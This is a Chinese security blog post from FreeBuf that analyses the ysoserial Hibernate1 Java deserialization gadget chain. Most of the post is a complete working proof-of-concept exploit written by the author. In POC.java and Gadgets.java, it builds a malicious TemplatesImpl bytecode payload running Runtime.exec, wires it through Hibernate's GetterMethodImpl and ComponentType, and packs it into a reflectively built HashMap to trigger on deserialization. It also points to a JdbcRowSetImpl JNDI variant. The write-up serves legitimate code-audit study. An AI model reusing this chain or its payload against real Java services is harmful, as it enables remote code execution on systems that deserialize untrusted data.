freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ysoserial源码分析之hibernate链(含poc编写)
2023-12-18 19:55:38

近来对ysoserial源码很感兴趣,之前分析java链子都是看别人的文章。今天以hibernate为例子,阅读下yso的源码。

环境:java8

maven:

     <dependency>
            <groupId>org.hibernate</groupId>
            <artifactId>hibernate-core</artifactId>
            <version>5.0.7.Final</version>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
        </dependency>

    </dependencies>

首先是先把利用链看懂:

  • org.hibernate.property.access.spi.GetterMethodImpl.get()
  • org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
  • org.hibernate.type.ComponentType.getPropertyValue(C)
  • org.hibernate.type.ComponentType.getHashCode()
  • org.hibernate.engine.spi.TypedValue$1.initialize()
  • org.hibernate.engine.spi.TypedValue$1.initialize()
  • org.hibernate.internal.util.ValueHolder.getValue()
  • org.hibernate.engine.spi.TypedValue.hashCode()

我们倒着分析。中途会利用工具luyten查询jar包中的字符串。

GetterMethodImpl#get():
Image.png
如图,此处直接一个getterMethod的invoke,可以考虑打TemplatesImpl链或者JNDI注入。

接下来是寻找哪里调用了get方法。
Image.png
结果太多了,我们换个方法:
既然GetterMethodImpl是继承Getter类,直接搜Getter。
Image.png
这次的结果少很多,第一页就可以找到。



Image.png

其getPropertyValue含有调用了get
Image.png
然后结合着调用栈继续往上查。
Image.png
Image.png
这里出现了hashCode,立马可以往CC链上想,可以尝试。

Image.png
这里是一个匿名类。 
然后继续寻找调用initialize的类
Image.png

最后在:
org.hibernate.engine.spi.TypedValue.hashCode()调用了这个getValue方法。
(基本都是看着链子走的,从零开始找感觉工程量挺浩大的)

这下就明了了,这是CC6的调用栈,完全就可以接上了。
CC6调用栈部分如图:
Image.png

至此hibernate调用链分析完毕,接下来看看yso怎么写poc的。如果我按照自己的思路写,又会有什么不同?
image.png

传进去了Hibernate1.class, 也就是自己。
跟进去看一看:
image.png
实例化clazz,并调用getObject,入口点就是这个方法了。

getObject简单分为了三步:
image.png

Gadgets#createTemplatesImpl yso的实现比较麻烦点,这里给出我自己的。可以作为参考。

public class Gadgets {
    public static Object createTemplatesImpl() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("i");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = ctClass.makeClassInitializer();
        constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);

        return templatesImpl;
    }

    public static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

这里是javassist创建恶意TemplatesImpl对象的相关知识,不做解释了,详细可以参阅其他优秀文章。

然后就是第二步makeGetter,这里做了版本判断:
image.png
我们这里用的5,直接看5:
image.png

利用GetterMethodImpl的构造函数实例化对象,然后放入Getter数组,这个Getter数组以后要放到这:
image.png

我的评价是,有点麻烦了。

// get gadgets
        Object tpl = (TemplatesImpl) Gadgets.createTemplatesImpl();
        Class tplClass = tpl.getClass();


        Class getter = Class.forName("org.hibernate.property.access.spi.Getter");
        Object g = new GetterMethodImpl(tplClass, "test", tplClass.getDeclaredMethod("getOutputProperties"));

        //创建Getter数组
        Object getters = Array.newInstance(getter, 1);
        Array.set(getters, 0, g);

这样也可以运行。

然后到了makeCaller了。
首先是这个AbstractComponentTuplizer, 找下他的子类。yso用的是PojoComponentTuplizer。
image.png
首先是一个新技术,createWithoutConstructor。
pojo类要实例化的话参数老多了,能不能绕过构造方法直接实例化,答案是可以的。
利用ReflectionFactory。
image.png

然后把getter丢进去就好了,但是这里出现了一个问题。yso用的是他自己写的Reflection类,我平常用的是比较简单的setFieldValue

public static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }

这个方法并不能设置父类属性,运行会报错。所以改了下,可以用这个:

public static void setFieldValueExtend(Object obj, Class clazz, String field, Object arg) throws Exception {
        Field f = clazz.getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }

接下来就没什么好说的了,一层套一层设置值就完事了。

AbstractComponentTuplizer tup = createWithoutConstructor(PojoComponentTuplizer.class);
       setFieldValueExtend(tup, AbstractComponentTuplizer.class, "getters", getters);

       ComponentType t = createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
       setFieldValue(t, "componentTuplizer", tup);
       setFieldValue(t, "propertySpan", 1);
       setFieldValue(t, "propertyTypes", new Type[] {
               t
       });

       TypedValue v1 = new TypedValue(t, null);
       setFieldValue(v1, "value", tpl);
       setFieldValue(v1, "type", t);

*关于TypedValue:yso还设置了两个,可以简化下。一个就够了。
最后是装填进hashMap。这里又遇到了一个问题,如果直接new一个hashMap然后put进去,会报NPE.
还有就是在装填的过程中,本地还会执行一遍,即使解决了NPE,本地也还执行一遍。看看ysoserial是怎么解决的:
image.png
他直接自己写了个makeMap,通过反射来创建hashMap。就不会因为put方法导致本地执行了。

我tm直接复制粘贴。完整POC如下:
POC.java:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.hibernate.engine.spi.TypedValue;;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;

public class POC {
    public static void main(String[] args) throws Exception {
        // get gadgets
        Object tpl = (TemplatesImpl) Gadgets.createTemplatesImpl();
        Class tplClass = tpl.getClass();


        Class getter = Class.forName("org.hibernate.property.access.spi.Getter");
        Object g = new GetterMethodImpl(tplClass, "test", tplClass.getDeclaredMethod("getOutputProperties"));

        //创建Getter数组
        Object getters = Array.newInstance(getter, 1);
        Array.set(getters, 0, g);


        AbstractComponentTuplizer tup = createWithoutConstructor(PojoComponentTuplizer.class);
        setFieldValueExtend(tup, AbstractComponentTuplizer.class, "getters", getters);

        ComponentType t = createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
        setFieldValue(t, "componentTuplizer", tup);
        setFieldValue(t, "propertySpan", 1);
        setFieldValue(t, "propertyTypes", new Type[] {
                t
        });

        TypedValue v1 = new TypedValue(t, null);
        setFieldValue(v1, "value", tpl);
        setFieldValue(v1, "type", t);

        HashMap hashMap = makeMap(v1, "String");

        //HashMap hashMap = new HashMap();
        //hashMap.put("ff",v1);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);


        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();

    }

    public static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }

    //上面那个方法没办法设置父类的Field,故用这个函数。
    public static void setFieldValueExtend(Object obj, Class clazz, String field, Object arg) throws Exception {
        Field f = clazz.getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }


    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T)sc.newInstance(consArgs);
    }

    public static HashMap makeMap (Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
            IllegalAccessException, InvocationTargetException {
        HashMap s = new HashMap();
        setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }


}

Gadgets.java:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;


public class Gadgets {
    public static Object createTemplatesImpl() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("i");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = ctClass.makeClassInitializer();
        constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);

        return templatesImpl;
    }

    public static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

至此POC编写告一段落,运行结果:
image.png

JdbcRowSetImpl:
分析完后这块就很简单了,只需要修改如下部分即可。
Image.png
复现时,注意切换到低版本jdk。

# 代码审计 # Java代码审计 # 源码分析 # poc编写
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者